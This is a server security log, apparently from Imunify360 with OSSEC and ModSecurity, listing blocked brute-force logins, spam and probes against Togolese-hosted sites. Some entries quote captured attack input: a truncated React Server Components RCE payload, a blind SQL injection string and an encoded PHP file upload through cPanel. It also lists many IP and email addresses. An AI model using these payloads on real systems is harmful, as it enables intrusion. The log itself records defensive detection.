2026-06-06 03:06:41 H=([0.0.0.0]) [218.68.211.110]:33106 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.105.128
country_id: 3469034
description:
Jun  6 03:07:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.105.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.105.214
country_id: 3469034
description:
Jun  6 03:06:58 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.105.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.101.103.5
country_id: 3469034
description:
Jun  6 03:07:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.101.103.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.68.211.110
country_id: 1814991
description:
2026-06-06 03:08:13 H=([0.0.0.0]) [218.68.211.110]:59870 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.68.211.110
country_id: 1814991
description:
2026-06-06 03:10:02 H=([0.0.0.0]) [218.68.211.110]:11177 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 195.2.84.198
country_id: 2017370
domain: www.togosem.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-10.195.2.84.198||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.153.174.25
country_id: 298795
description:
Jun  6 03:11:05 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.153.174.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.253
country_id: 3865483
description:
Jun  6 03:11:26 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.115
country_id: 3469034
description:
Jun  6 03:11:39 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.115
country_id: 3469034
description:
Jun  6 03:11:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-06 03:14:37 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-06 03:14:38 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-06 03:15:08 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-06 03:15:07 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:03-16.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Tasteful Extra Credit eropolik.blogspot.sk Yy||Email:BRITTMAY0429@GMAIL.COM||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.111
country_id: 2750405
description:
2026-06-06 03:19:10 dovecot_plain authenticator failed for H=(bza5o9rdde0sd1x24y088nnk5qkwx) [192.42.116.111]:37051: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.111
country_id: 2750405
description:
Jun  6 03:19:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.95.197
country_id: 6252001
description:
[2026-06-06 03:20:02 +0000] info [cpaneld] 82.40.95.197 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-06 03:21:27 H=([212.42.122.66]) [212.42.122.66]:34725 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.132.57.210
country_id: 1814991
description:
2026-06-06 03:23:28 H=([120.238.220.227]) [203.132.57.210]:9477 F=<John@4452.com> rejected RCPT <sergdev@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 03:24:40 +0000] info [cpaneld] 185.213.83.243 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.43
country_id: 3469034
description:
Jun  6 03:28:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.15
country_id: 953987
description:
Jun  6 03:28:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.43
country_id: 3469034
description:
Jun  6 03:28:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.176
country_id: 1512440
description:
2026-06-06 03:30:20 H=([213.230.93.176]) [213.230.93.176]:20163 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 202.98.66.237
country_id: 1814991
description:
2026-06-06 03:31:24 H=([202.98.66.237]) [202.98.66.237]:59451 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.102
country_id: 2963597
description:
Jun  6 03:32:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 03:32:33 +0000] info [cpaneld] 185.213.83.243 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.232
country_id: 3865483
description:
Jun  6 03:32:03 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.56
country_id: 953987
description:
Jun  6 03:32:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.140
country_id: 3469034
description:
Jun  6 03:32:27 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.56
country_id: 3469034
description:
Jun  6 03:37:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.154
country_id: 690791
description:
Jun  6 03:37:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: test2.haplucia-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ngzij=arguments[0x1];var emt=ngzij;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.56
country_id: 3469034
description:
Jun  6 03:37:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.51
country_id: 732800
description:
Jun  6 03:38:38 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.51
country_id: 732800
description:
Jun  6 03:38:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 202.98.66.237
country_id: 1814991
description:
2026-06-06 03:39:37 H=([202.98.66.237]) [202.98.66.237]:61076 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Unlock Your Elite Reward eropolik.blogspot.tw Jp||Email:1twistedking23@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:03-40.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.232.134.84
country_id: 3996063
description:
149.232.134.84 - - [06/Jun/2026:03:41:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936022&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Fjustice%252Fpage%252F15%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780717263 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/justice/page/15/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.232.134.84


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.54
country_id: 6252001
description:
205.169.39.54 - - [06/Jun/2026:03:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080169&pdata=http%253A%252F%252Fwww.afriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780717323 HTTP/1.1" 302 0 www.afriquerevelation.tg "http://www.afriquerevelation.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.54


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.148.209.25
country_id: 1522867
description:
2026-06-06 03:43:04 H=([31.148.209.25]) [31.148.209.25]:43911 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.169.168.152
country_id: 1562822
description:
2026-06-06 03:43:34 dovecot_plain authenticator failed for H=(hlce8hr8p12g1ga5v9zf7bf6lhfnu1) [113.169.168.152]:52477: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.56.120.34
country_id: 6252001
domain: 52.27.208.157
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/52.27.208.157/azenv.php HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.112.121.59
country_id: 1527747
description:
2026-06-06 03:50:46 H=([212.112.121.59]) [212.112.121.59]:60779 F=<John@4452.com> rejected RCPT <ag@togointerim.net>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.86.226
country_id: 2921044
description:
[2026-06-06 03:53:35 +0000] info [cpaneld] 217.181.86.226 - arsjawjaz "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.89
country_id: 953987
description:
Jun  6 03:59:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your Trustworthy Cash sepoladi.blogspot.tw Kj||Email:lurtherking244@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-04.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.8.46.170
country_id: 1220409
description:
2026-06-06 04:05:20 H=([217.8.46.170]) [217.8.46.170]:32744 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.87
country_id: 690791
description:
Jun  6 04:05:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.213.101
country_id: 798544
description:
Jun  6 04:05:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.213.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.103.184
country_id: 6252001
description:
[2026-06-06 04:09:21 +0000] info [cpaneld] 82.40.103.184 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.50.1.148
country_id: 1168579
description:
2026-06-06 04:09:01 H=([122.50.1.148]) [122.50.1.148]:23554 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.157
country_id: 3469034
description:
Jun  6 04:09:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: www.api.butodra.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [06/Jun/2026:04:11:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186599&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchemonics-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780719078 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chemonics-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-06 04:11:13 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:39248: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [06/Jun/2026:04:17:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727688&pdata=http%253A%252F%252Fnq42gl.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780719447 HTTP/1.1" 302 0 nq42gl.mediatopnews.tg "http://nq42gl.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 112.47.145.68
country_id: 1814991
description:
2026-06-06 04:16:56 H=([0.0.0.0]) [112.47.145.68]:44600 F=<John@4452.com> rejected RCPT <www.linkedin.comarse@arse.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.4.38.68
country_id: 1814991
description:
2026-06-06 04:18:33 H=([116.4.38.68]) [116.4.38.68]:10628 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.167.20.72
country_id: 1814991
description:
Jun  6 04:19:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.167.20.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.72
country_id: 1814991
description:
2026-06-06 04:19:37 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [124.167.20.72]:40694: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.0.202.148
country_id: 1814991
description:
2026-06-06 04:20:36 H=([119.0.202.148]) [119.0.202.148]:28597 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.0.202.148
country_id: 1814991
description:
2026-06-06 04:26:40 H=([119.0.202.148]) [119.0.202.148]:28268 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-28.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Procure Your Reward Money vamvozmviigr.blogspot.dk 07||Email:tolanitemitope79@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.207.119
country_id: 798544
description:
Jun  6 04:30:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.207.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.143.84.9
country_id: 6252001
domain: sncom.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.44
country_id: 2510769
description:
Jun  6 04:30:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.13.108
country_id: 3469034
description:
Jun  6 04:32:36 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.13.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.246
country_id: 3469034
description:
Jun  6 04:32:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77350920
name: IM360 WAF: Time-based blind SQL injection
abuser: 77.73.129.46
country_id: 798544
domain: haplucia-togo.tg
description:
IM360 WAF: Time-based blind SQL injection||MV:/x'OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR'/||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 77.73.129.46
country_id: 798544
domain: haplucia-togo.tg
description:
IM360 WAF: Malformed URI Open Redirect Probe Detected||MV:/x'OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR'/||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 5.78.207.34
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.13.108
country_id: 3469034
description:
Jun  6 04:32:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.13.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.73.66
country_id: 1512440
description:
2026-06-06 04:35:03 H=([84.54.73.66]) [84.54.73.66]:11083 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.50
country_id: 1512440
description:
2026-06-06 04:36:53 H=([213.230.86.50]) [213.230.86.50]:32201 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.73.66
country_id: 1512440
description:
2026-06-06 04:37:51 H=([84.54.73.66]) [84.54.73.66]:38836 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.70
country_id: 1814991
description:
Jun  6 04:40:41 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-06-06 04:40:43 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:35078: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.236
country_id: 130758
description:
2026-06-06 04:41:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.236]:56572: 535 Incorrect authentication data (set_id=labnagios)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.236
country_id: 130758
description:
Jun  6 04:41:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.236 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.95.117.236
country_id: 6252001
description:
35.95.117.236 - - [06/Jun/2026:04:44:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868395&pdata=https%253A%252F%252Fkpmg.tg%252F0f109e0dddfaa8b0af5e8aa73f13b263%252F8fd341176b23c43112250539c3db02d2%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780721066 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/0f109e0dddfaa8b0af5e8aa73f13b263/8fd341176b23c43112250539c3db02d2/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.95.117.236


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.8.118.220
country_id: 2635167
description:
[2026-06-06 04:46:35 +0000] info [cpaneld] 3.8.118.220 - ecritoir "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ecritoir (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.48
country_id: 1512440
description:
2026-06-06 04:48:27 H=([95.214.211.48]) [95.214.211.48]:42379 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.31.156.154
country_id: 660013
description:
Jun  6 04:49:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.31.156.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.156.154
country_id: 660013
description:
2026-06-06 04:49:21 dovecot_plain authenticator failed for H=(cvnwv0f7t9qd32tq9c131oi9se) [144.31.156.154]:59709: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.30
country_id: 3175395
description:
Jun  6 04:51:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Big-Spender Extra bonotdamvam.blogspot.be uS||Email:desirechampion288@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.30
country_id: 3175395
description:
Jun  6 04:51:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.73.237
country_id: 1269750
description:
